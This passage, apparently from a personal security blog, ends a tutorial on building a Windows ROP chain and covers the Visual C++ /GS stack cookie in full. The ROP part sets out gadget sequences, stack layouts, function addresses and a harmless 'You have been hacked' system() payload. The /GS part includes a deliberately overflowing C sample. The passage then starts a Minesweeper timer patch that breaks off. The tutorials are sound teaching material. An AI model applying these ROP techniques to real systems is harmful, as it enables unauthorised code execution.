On <i><span style="color: #ea9999;">ebp</span></i>'s value calculation, the <i><span style="color: #ea9999;">esp</span></i> will point on 0x100c (verify that you understand why), so the value that will be stored in <i><span style="color: #ea9999;">ebp</span></i> is 0x1018. In the end of this execution, the <i><span style="color: #ea9999;">esp</span></i> will point on 0x100c.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b><i>2. Prepare the parameters for the system() function call</i></b></div>
<div>
<br />
<a href="http://www.cplusplus.com/reference/clibrary/cstdlib/system/" target="_blank">system()</a> function expects for single parameter - address of string containing the system command to be executed. This address is passed on the stack in <a href="http://unixwiz.net/techtips/win32-callconv.html#conv" target="_blank">__cdecl calling convention</a>, so in total need to calculate two addresses: </div>
<div>
<ol>
<li>The address of command string.</li>
<li>The address on the stack where <i><span style="color: #ea9999;">system</span></i> expects to find the parameter.</li>
</ol>
<div>
In previous step, I stored <i><span style="color: #ea9999;">esp+0Ch</span></i> address in <span style="color: #ea9999;"><i>ebp</i></span> register. <i><span style="color: #ea9999;">ebp</span></i> register is not commonly participating in arithmetic operations, so I will copy its value to <i><span style="color: #ea9999;">eax</span></i> register. <i><span style="color: #ea9999;">mov eax,ebp + ret</span></i> search pattern didn't retrieved any results, so I searched for <i><span style="color: #ea9999;">lea</span></i> instruction again: <i><span style="color: #ea9999;">lea eax,[ebp+CONST] + ANY 1 + ret</span></i> retrieved the following sequence (from ntdll.dll, let's call it<b> <span style="color: #ea9999;">LEA EAX,[EBP-10h]</span></b> gadget):</div>
</div>
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;"><i>lea eax, [ebp-10h]</i></span><br />
<span style="color: #ea9999;"><i>mov dword ptr fs:[0], eax</i></span><br />
<span style="color: #ea9999;"><i>retn</i></span></blockquote>
</div>
<div>
Note that the second instruction in this sequence overrides the <a href="http://msdn.microsoft.com/en-us/library/ms253960(v=vs.90).aspx" target="_blank">FS:[0] pointer</a>, which points to the SEH (Structured Exception Handling) chain. But I don't care about it at this point.</div>
<div>
Recall that <i><span style="color: #ea9999;">ebp</span></i>'s value was 0x1018, so <i><span style="color: #ea9999;">eax</span></i> will get 0x1008. Let's now calculate the address of the <i><span style="color: #ea9999;">system</span></i> function's parameter (which will eventually store the address of our command string).</div>
<div>
The <i><span style="color: #ea9999;">add eax, CONST + ret</span></i> search pattern retrieved many results. I will choose the following from ntdll.dll (<b><span style="color: #ea9999;">ADD EAX,20h</span></b> gadget):</div>
<div>
<blockquote class="tr_bq">
<i><span style="color: #ea9999;">add eax, 20h</span></i><i><br />
<span style="color: #ea9999;">retn</span></i></blockquote>
</div>
<div>
Executing this gadget once will increase the <i><span style="color: #ea9999;">eax</span></i> to 0x1028, but will not be sufficient because it will override the shellcode (see below). So let's make more room and execute this gadget again. <i><span style="color: #ea9999;">eax</span></i> will point on 0x1048. This will be high enough.</div>
<div>
Now I'll save it in another register (because we have to proceed with calculation on <i><span style="color: #ea9999;">eax</span></i>). Search pattern <i><span style="color: #ea9999;">mov R32,eax + ANY 2 + ret</span></i> retrieved the following sequence (<b><span style="color: #ea9999;">MOV ECX,EAX</span></b> gadget) from ntdll.dll:</div>
<div>
<blockquote class="tr_bq">
<i><span style="color: #ea9999;">mov ecx, eax</span></i><i><br />
<span style="color: #ea9999;">mov eax, edx</span></i><i><br />
<span style="color: #ea9999;">mov edx, ecx</span></i><i><br />
<span style="color: #ea9999;">retn</span></i></blockquote>
</div>
<div>
The <i><span style="color: #ea9999;">eax</span></i>'s value will be copied to <span style="color: #ea9999;"><i>ecx</i></span> and <span style="color: #ea9999;"><i>edx</i></span>, but it will also be overridden with <i><span style="color: #ea9999;">edx</span></i>'s previous value. So we will have to restore the <i><span style="color: #ea9999;">eax</span></i> value (<span style="color: #ea9999;"><b>MOV EAX,EDX</b></span> gadget from msvcr100.dll):</div>
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;"><i>mov eax, edx</i></span><br />
<span style="color: #ea9999;"><i>retn</i></span></blockquote>
</div>
<div>
The last thing to do here is to calculate the address of our command string and store it in the address where <i><span style="color: #ea9999;">ecx</span></i> pointing to. <span style="color: #ea9999;">ADD EAX,20h</span> gadget will bring the <i><span style="color: #ea9999;">eax</span></i> to 0x1068 (this will be the address of our command string), and then we store it with <b><span style="color: #ea9999;">MOV [ECX],EAX</span></b> gadget (from msvcr100.dll):</div>
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;"><i>mov [ecx], eax<br />
retn</i></span></blockquote>
</div>
<div>
I will use the <a href="http://technet.microsoft.com/en-us/library/bb490897.aspx" target="_blank">echo command</a> as a command passed to <i><span style="color: #ea9999;">system</span></i> function with "You have been hacked" parameter.</div>
<div>
<br />
The stack view at this point will be as follows:</div>
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;">0x100c <b>LEA EAX,EBP-10h</b> gadget address</span><br />
<span style="color: #ea9999;">0x1010 <b>ADD EAX,20h</b> gadget address</span><br />
<span style="color: #ea9999;">0x1014 <b>ADD EAX,20h</b> gadget address</span><br />
<span style="color: #ea9999;">0x1018 <b>MOV ECX,EAX</b> gadget address</span><br />
<span style="color: #ea9999;">0x101c <b>MOV EAX,EDX</b> gadget address</span><br />
<span style="color: #ea9999;">0x1020 <b>ADD EAX,20h </b>gadget address</span><br />
<span style="color: #ea9999;">0x1024 <b>MOV [ECX],EAX</b> gadget address</span><br />
<span style="color: #ea9999;">...</span><br />
<span style="color: #ea9999;">0x1048 0x1068 (system() parameter)</span><br />
<span style="color: #ea9999;">...</span><br />
<span style="color: #ea9999;">0x1068 6F686365h ; echo</span><br />
<span style="color: #ea9999;">0x106c 756F5920h ; You</span><br />
<span style="color: #ea9999;">0x1070 76616820h ; hav</span><br />
<span style="color: #ea9999;">0x1074 65622065h ; e be</span><br />
<span style="color: #ea9999;">0x1078 68206E65h ; en h</span><br />
<span style="color: #ea9999;">0x107c 656B6361h ; acke</span><br />
<span style="color: #ea9999;">0x1080 00000064h ; d</span></blockquote>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b><i>3. Calling the system() and exit() functions</i></b></div>
<div>
<br />
Download and compile the <a href="http://www.vividmachines.com/shellcode/arwin.c" target="_blank">arwin program</a>, which is a tiny win32 address resolution tool. It receives module name and function name as parameters, and outputs the function address within the module. Both <i><span style="color: #ea9999;">system</span></i> and <i><span style="color: #ea9999;">exit</span></i> functions located in msvcr100.dll, so I ran it like this:<br />
<br /></div>
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 99%;"><span style="font-size: 12px; line-height: 20px;">D:\>arwin msvcr100.dll system
arwin - win32 address resolution program - by steve hanna - v.01
system is located at 0x78b02632 in msvcr100.dll
D:\>arwin msvcr100.dll exit
arwin - win32 address resolution program - by steve hanna - v.01
exit is located at 0x78ac7b0c in msvcr100.dll</span><span style="color: black; font-family: arial; font-size: 12px; line-height: 20px;">
</span></pre>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Now we need to decide where to place those two addresses.</div>
<div style="text-align: left;">
Recall that in <i><span style="color: #ea9999;">__cdecl</span></i> calling convention, in order to call a function with a parameter you have to push the parameter on the stack and use the <i><span style="color: #ea9999;">call</span></i> instruction. This instruction pushes the content of <i><span style="color: #ea9999;">eip</span></i> onto the stack, which in turn points to the next instruction after the <i><span style="color: #ea9999;">call</span></i>. When the function finishes, <i><span style="color: #ea9999;">ret</span></i> instruction will pop the saved <i><span style="color: #ea9999;">eip</span></i> from the stack and jump to that location. Let's mimic this behavior:</div>
<div style="text-align: left;">
We've already stored the <i><span style="color: #ea9999;">system</span></i> parameter (the address of our echo command) at 0x1048. Below that (at 0x1044) should be the <i><span style="color: #ea9999;">saved eip</span></i>, which is the address of next instruction after the call to <i><span style="color: #ea9999;">system</span></i> function - in this case it's an address of <i><span style="color: #ea9999;">exit</span></i> function.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Let's summarize it all together:</div>
<div style="text-align: left;">
<div style="text-align: -webkit-auto;">
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;">0x1000 <b>POP EAX</b> gadget address (saved EIP value)<br />
0x1004 RET address (any RET instruction address - will be popped to EAX and used to increment the ESP)<br />
0x1008 <b>LEA EBP,[ESP+0Ch]</b> gadget address<br />
0x100c <b>LEA EAX,EBP-10h</b> gadget address<br />
0x1010 <b>ADD EAX,20h</b> gadget address<br />
0x1014 <b>ADD EAX,20h</b> gadget address<br />
0x1018 <b>MOV ECX,EAX</b> gadget address<br />
0x101c <b>MOV EAX,EDX</b> gadget address<br />
0x1020 <b>ADD EAX,20h </b>gadget address<br />
0x1024 <b>MOV [ECX],EAX</b> gadget address<br />
0x1028 RET address<br />
0x102c RET address<br />
0x1030 RET address<br />
0x1034 RET address<br />
0x1038 RET address<br />
0x103c RET address<br />
0x1040 78b02632 (system() function address)<br />
0x1044 78ac7b0c (exit() function address)<br />
0x1048 0x1068 (system() parameter)<br />
...<br />
0x1068 6F686365h ; echo<br />
0x106c 756F5920h ; You<br />
0x1070 76616820h ; hav<br />
0x1074 65622065h ; e be<br />
0x1078 68206E65h ; en h<br />
0x107c 656B6361h ; acke<br />
0x1080 00000064h ; d</span></blockquote>
</div>
</div>
<div style="text-align: -webkit-auto;">
Note that I filled addresses 0x1028 to 0x103c with <i><span style="color: #ea9999;">ret</span></i> instruction addresses just to increment the <i><span style="color: #ea9999;">esp</span></i> register by 4 bytes each time.<br />
<br />
<br />
<b>Final Note</b><br />
<br />
That's it. Now I'll use Hex editor to craft a binary file with a shellcode content (including 20 padding bytes at the beginning). If everything went well, the expected result will be displayed:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju6r3HcT4KXKjvM3SQNrAIaTyI01hHtfBPZ_BMugHmE-ggfAxwBqA1mM69b-RjUZ2UzlseaSHOOagrRe2FGHQjY4bDvrxZ9gcsYgV7H456q9UFdIsS9L9Q9SmgUOLk36gQAmn1pN2gXus/s1600/youhavebeen.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju6r3HcT4KXKjvM3SQNrAIaTyI01hHtfBPZ_BMugHmE-ggfAxwBqA1mM69b-RjUZ2UzlseaSHOOagrRe2FGHQjY4bDvrxZ9gcsYgV7H456q9UFdIsS9L9Q9SmgUOLk36gQAmn1pN2gXus/s640/youhavebeen.png" height="107" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
For additional reading:<br />
<a href="http://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/" target="_blank">ROP exploit writing tutorial by Corelan</a></div>
</div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com6tag:blogger.com,1999:blog-2077468458710225908.post-50105053178914705752012-02-18T19:05:00.010+02:002015-01-18T22:42:42.122+02:00Understanding the VS C++ Compiler's Buffer Security CheckIn this post I will show how VS C++ compiler implements the so called <a href="http://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries" target="_blank">stack canary protection</a> against stack buffer overflows.<br />
<div class="MsoNormal">
<br />
<br />
<b>Buffer Security Check</b><br />
<br /></div>
<div class="MsoNormal">
This technique is used to detect stack buffer overflow in order to prevent execution of malicious code. It simply places arbitrary value (security cookie) between local variables and return pointer.<br />
<br />
Most common attacks overwrite memory starting from addresses referenced by local variables with intent to overwrite return pointer (from lower to higher memory addresses - see Stack representation below). If such attack will take place, <span style="color: #ea9999;">security cookie</span> will be overwritten as well.<br />
<br />
By simply comparing stored and original values just before exiting the function we ensure return pointer integrity.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
Stack representation with security cookie in place (__cdecl convention):</div>
<div class="MsoNormal">
<br /></div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 1184;"><tbody>
<tr> <td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
(Lower memory addresses)</div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Local variable #2</div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Local variable #1</div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Security cookie</div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Base pointer</div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Return address pointer<o:p></o:p></div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Function parameter #1</div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Function parameter #2</div>
</td> </tr>
<tr> <td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
(Higher memory addresses)</div>
</td> </tr>
</tbody></table>
<br />
<a name='more'></a><br />
<div class="MsoNormal">
VS C++ compiler implements this technique for each function with a code that can potentially lead to stack buffer overflow. On function entry, the security cookie is stored just after the base pointer. On function exit, the stored value is validated to make sure it was not overridden.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
The relevant switch is called <a href="http://msdn.microsoft.com/en-us/library/8dbf701c(v=vs.100).aspx">/GS (Buffer Security Check)</a>, and it is available since Visual Studio 2002. For enabling/disabling it use <span style="color: #ea9999;">/GS-</span> or <span style="color: #ea9999;">/GS+</span>, or edit the project properties (enabled by default in Release configuration):</div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGUHYPpdx6vSivp4XGu5ztQq53r3yKTfyd8Lg-q7Mc7bAImHjjKx3NfVSIiZeicB4Y1e4RmCuurYmyTlTrye2S7MtGtf4R3jEt1QUoX7I1DGei43g-YuMlkx0k4I71G5soXbZmV2LrX-o/s1600/bsc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGUHYPpdx6vSivp4XGu5ztQq53r3yKTfyd8Lg-q7Mc7bAImHjjKx3NfVSIiZeicB4Y1e4RmCuurYmyTlTrye2S7MtGtf4R3jEt1QUoX7I1DGei43g-YuMlkx0k4I71G5soXbZmV2LrX-o/s1600/bsc.png" /></a></div>
<br />
<br />
<b>Code Example</b><br />
<br />
<div class="MsoNormal">
Let’s actually see how VS C++ compiler generates the security cookie using the following C program:</div>
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjZTF0CzPySZvzb-1LUQ1Ge7dd9oy7i6cKXWdQ7uWKuCOBAWCHoV9X08RtUrygbZD_WtFV4AJ46NKFB1EBU2qdxBAazAN-3pXnTS-j9X0V32PbW2Qa_CnJvmm_mvlp_N18a-RfZsZjHcCI/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">#include "string.h"
void foo (char *bar)
{
char c[12];
memcpy(c, bar, strlen(bar)); // no bounds checking...
}
int main (int argc, char **argv)
{
foo("my string is too long !!!!! \x10\x10\xC0\x42");
return 0;
}
</code></pre>
<br />
<div class="MsoNormal">
Since this program is doing nothing (except of overflowing the stack), the compiler by default will not generate any code. So we’ll have to disable compiler’s optimization and function inlining in project properties:</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNYdVfLCds_QGMPQbzKyMZm9_57K1Roma7bX4JX1s53cx8uKT2pJRknU3RVYlxt4KbbANf6HdZQihMvPcb891jG_1MSLh-oF-pLpUhK17_2VoC8AkBjFx1Dlyl1snU4vcMbzMbnDdNF2w/s1600/optimization.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNYdVfLCds_QGMPQbzKyMZm9_57K1Roma7bX4JX1s53cx8uKT2pJRknU3RVYlxt4KbbANf6HdZQihMvPcb891jG_1MSLh-oF-pLpUhK17_2VoC8AkBjFx1Dlyl1snU4vcMbzMbnDdNF2w/s1600/optimization.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
I will use <span style="color: #ea9999;">IDA Pro</span> to disassemble the program. The following code generated for <span style="color: #ea9999;">foo()</span> function with <span style="color: #ea9999;">/GS</span> switch set to <span style="color: #ea9999;">/GS-</span> (disabled):</div>
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjZTF0CzPySZvzb-1LUQ1Ge7dd9oy7i6cKXWdQ7uWKuCOBAWCHoV9X08RtUrygbZD_WtFV4AJ46NKFB1EBU2qdxBAazAN-3pXnTS-j9X0V32PbW2Qa_CnJvmm_mvlp_N18a-RfZsZjHcCI/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 1Ch
.text:00401006 mov eax, [ebp+arg_0]
.text:00401009 mov [ebp+var_10], eax
.text:0040100C mov ecx, [ebp+var_10]
.text:0040100F add ecx, 1
.text:00401012 mov [ebp+var_14], ecx
loc_401015:
.text:00401015 mov edx, [ebp+var_10]
.text:00401018 mov al, [edx]
.text:0040101A mov [ebp+var_15], al
.text:0040101D add [ebp+var_10], 1
.text:00401021 cmp [ebp+var_15], 0
.text:00401025 jnz short loc_401015
.text:00401027 mov ecx, [ebp+var_10]
.text:0040102A sub ecx, [ebp+var_14]
.text:0040102D mov [ebp+var_1C], ecx
.text:00401030 mov edx, [ebp+var_1C]
.text:00401033 push edx ; size_t
.text:00401034 mov eax, [ebp+arg_0]
.text:00401037 push eax ; void *
.text:00401038 lea ecx, [ebp+var_C]
.text:0040103B push ecx ; void *
.text:0040103C call _memcpy
.text:00401041 add esp, 0Ch
.text:00401044 mov esp, ebp
.text:00401046 pop ebp
.text:00401047 retn
</code></pre>
<br />
<br />
<div class="MsoNormal">
After enabling the <span style="color: #ea9999;">Buffer Security Check (/GS+)</span> and recompiling, the <span style="color: #ea9999;">foo()</span> function grew by 7 instructions (see marked in red). Those instructions were generated by compiler, since it detected the call to unsafe <span style="color: #ea9999;">memcpy</span> API within the function. The <span style="color: #ea9999;">memcpy</span> function included in SDL list of <a href="http://msdn.microsoft.com/en-us/library/bb288454.aspx" target="_blank">banned function calls</a>, and this is definitely one of the resources used by compiler to determine whether to generate security cookies. The 4-bytes long security cookie (which is generated on module load) xored with base pointer and stored in the appropriate location:</div>
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjZTF0CzPySZvzb-1LUQ1Ge7dd9oy7i6cKXWdQ7uWKuCOBAWCHoV9X08RtUrygbZD_WtFV4AJ46NKFB1EBU2qdxBAazAN-3pXnTS-j9X0V32PbW2Qa_CnJvmm_mvlp_N18a-RfZsZjHcCI/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:00401000 push ebp
.text:00401001 mov ebp, esp
<span style="color: red;">.text:00401003 sub esp, 20h
.text:00401006 mov eax, __security_cookie
.text:0040100B xor eax, ebp
.text:0040100D mov [ebp+var_4], eax</span>
.text:00401010 mov eax, [ebp+arg_0]
.text:00401013 mov [ebp+var_14], eax
.text:00401016 mov ecx, [ebp+var_14]
.text:00401019 add ecx, 1
.text:0040101C mov [ebp+var_18], ecx
loc_40101F:
.text:0040101F mov edx, [ebp+var_14]
.text:00401022 mov al, [edx]
.text:00401024 mov [ebp+var_19], al
.text:00401027 add [ebp+var_14], 1
.text:0040102B cmp [ebp+var_19], 0
.text:0040102F jnz short loc_40101F
.text:00401031 mov ecx, [ebp+var_14]
.text:00401034 sub ecx, [ebp+var_18]
.text:00401037 mov [ebp+var_20], ecx
.text:0040103A mov edx, [ebp+var_20]
.text:0040103D push edx ; size_t
.text:0040103E mov eax, [ebp+arg_0]
.text:00401041 push eax ; void *
.text:00401042 lea ecx, [ebp+var_10]
.text:00401045 push ecx ; void *
.text:00401046 call _memcpy
.text:0040104B add esp, 0Ch
<span style="color: red;">.text:0040104E mov ecx, [ebp+var_4]
.text:00401051 xor ecx, ebp
.text:00401053 call __security_check_cookie</span>
.text:00401058 mov esp, ebp
.text:0040105A pop ebp
.text:0040105B retn
</code></pre>
<br />
<br />
<div class="MsoNormal">
And just before the exit, stored security cookie value xored again with base pointer (converting it back to original form) and then compared against the known value. If the values are not equal, <span style="color: #ea9999;">__report_gsfailure</span> function called, which will eventually terminate the process.<br />
<br />
<span style="color: #ea9999;">__security_check_cookie</span> function:</div>
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjZTF0CzPySZvzb-1LUQ1Ge7dd9oy7i6cKXWdQ7uWKuCOBAWCHoV9X08RtUrygbZD_WtFV4AJ46NKFB1EBU2qdxBAazAN-3pXnTS-j9X0V32PbW2Qa_CnJvmm_mvlp_N18a-RfZsZjHcCI/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:00851074 cmp ecx, __security_cookie
.text:0085107A jnz __report_gsfailure
.text:0085107C rep retn
</code></pre>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br />
<b>Running the program</b></div>
<br />
<div class="MsoNormal">
Before the <span style="color: #ea9999;">memcpy</span> call, the stack looks as shown below. The return address is pointing on correct address. The value of security cookie is <span style="color: #ea9999;">0x39E8565E</span>.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFrtA0WmmWi19Iotl-k1YFyXZqfVfP-C6LxRak37ZGvjYqaZHUWRr4V13_qvxz6Ma1pE44gQ9qmmP2BmPcMR-h0kMBsc1vvebwcNDT787dCGC3fwiuy4-HMjNevY8h3gXsObvPzkjk6BE/s1600/stack_pre.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFrtA0WmmWi19Iotl-k1YFyXZqfVfP-C6LxRak37ZGvjYqaZHUWRr4V13_qvxz6Ma1pE44gQ9qmmP2BmPcMR-h0kMBsc1vvebwcNDT787dCGC3fwiuy4-HMjNevY8h3gXsObvPzkjk6BE/s1600/stack_pre.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
After calling the <span style="color: #ea9999;">memcpy</span> function, the values overridden.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK0W8H6SKNZWMnE4UEITh4vdKPv38e-jgAD_4tbWMi8S1lssxpJuBSQ0P_AnjiFg6vagLZtMNQpcEynzwhm4lzQA7yTRyMpzEHHELor3sDVxaYytaHhpvopVv_HAQDKpOvuIPhYbbuYYY/s1600/stack_post.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK0W8H6SKNZWMnE4UEITh4vdKPv38e-jgAD_4tbWMi8S1lssxpJuBSQ0P_AnjiFg6vagLZtMNQpcEynzwhm4lzQA7yTRyMpzEHHELor3sDVxaYytaHhpvopVv_HAQDKpOvuIPhYbbuYYY/s1600/stack_post.png" /></a></div>
<div class="MsoNormal">
<br />
The security cookie has been changed, and the process will terminate.<br />
<br />
For additional reading:<br />
<a href="http://msdn.microsoft.com/en-us/library/8dbf701c.aspx" target="_blank">/GS Compiler option</a><br />
<a href="http://msdn.microsoft.com/en-us/library/aa290051.aspx" target="_blank">MS article on /GS flag</a><br />
<a href="http://preshing.com/20110807/the-cost-of-buffer-security-checks-in-visual-c" target="_blank">Post on Buffer Security Checks overhead</a></div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com3tag:blogger.com,1999:blog-2077468458710225908.post-48826874583222209772012-01-08T00:18:00.001+02:002015-01-10T23:15:12.873+02:00Minesweeper patch: Stop the timerIn this post I will demonstrate<span style="font-family: inherit;"> how to patch the Mines</span>weeper game: the task will be to stop the timer from incrementing its count.<br />
<br />
The task requires some basic assembly language knowledge. If you don't have that knowledge, then <a href="http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/www.artofasm.com/index.html" target="_blank">Art of Assembly</a> is a great book to start with.<br />
<br />
The executable I will be working on is Windows XP version of Minesweeper, called <span style="color: #ea9999;">winmine.exe</span>. The file is also available <a href="http://www.minesweeper.info/downloads/WinmineXP.html" target="_blank">here</a> (MD5=9c45d38b74634c9ded60bec640c5c3ca), download it and rename it to winmine.exe.<br />
<br />
The <a href="http://en.wikipedia.org/wiki/Program_database" target="_blank">symbols file</a> is required as well. You can download it using symchk command-line tool (which is part of <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff551063.aspx" target="_blank">Debugging Tools for Windows</a>), with the below parameters:<br />
<blockquote class="tr_bq">
<i>symchk /s SRV*c:\symbols*http://msdl.microsoft.com/download/symbols /if winmine.exe</i></blockquote>
I will use <a href="http://en.wikipedia.org/wiki/Interactive_Disassembler" target="_blank">IDA disassembler</a> (freeware version available <a href="http://www.hex-rays.com/products/ida/support/download_freeware.shtml" target="_blank">here</a>) for generating the assembly source code from winmine.exe executable. To simplify the demonstration, I'm loading the symbols file (winmine.pdb) to IDA as well. Otherwise, function names, for example, will have meaningless names in generated code.<br />
<br />
<br />
<a name='more'></a><b>Discovering the code to patch</b><br />
<b><u><br />
</u></b> IDA generates plenty of assembly source code for the winmine.exe executable. Function names is a reasonable place to start browsing at. By examining the functions list I found the<i> </i><span style="color: #ea9999;">DoTimer()</span> function.<br />
<br />
<div class="separator" style="clear: both; text-align: left;">
